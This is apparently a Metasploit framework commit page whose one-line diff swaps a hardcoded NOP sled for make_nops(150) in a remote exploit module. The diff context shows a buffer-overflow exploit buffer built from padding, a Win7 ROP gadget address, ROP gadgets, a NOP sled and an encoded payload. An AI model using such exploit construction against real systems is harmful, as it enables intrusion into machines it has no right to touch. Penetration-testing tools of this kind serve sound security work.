Changed 0x90 nops to make_nops() instead
git-svn-id: file:///home/svn/framework3/trunk@12305 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
3dec79f346
commit
33249bea32
|
@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
buffer << rand_text_alphanumeric((target['OffSetToRop']))
|
buffer << rand_text_alphanumeric((target['OffSetToRop']))
|
||||||
buffer << "\x91\x70\x05\x10" * 10 #rop nop, offset Win7
|
buffer << "\x91\x70\x05\x10" * 10 #rop nop, offset Win7
|
||||||
buffer << rop_gadgets
|
buffer << rop_gadgets
|
||||||
buffer << "\x90" * 150
|
buffer << make_nops(150)
|
||||||
buffer << payload.encoded
|
buffer << payload.encoded
|
||||||
buffer << rand_text_alphanumeric(4000)
|
buffer << rand_text_alphanumeric(4000)
|
||||||
buffer << '"'
|
buffer << '"'
|
||||||
|
|
Loading…
Reference in New Issue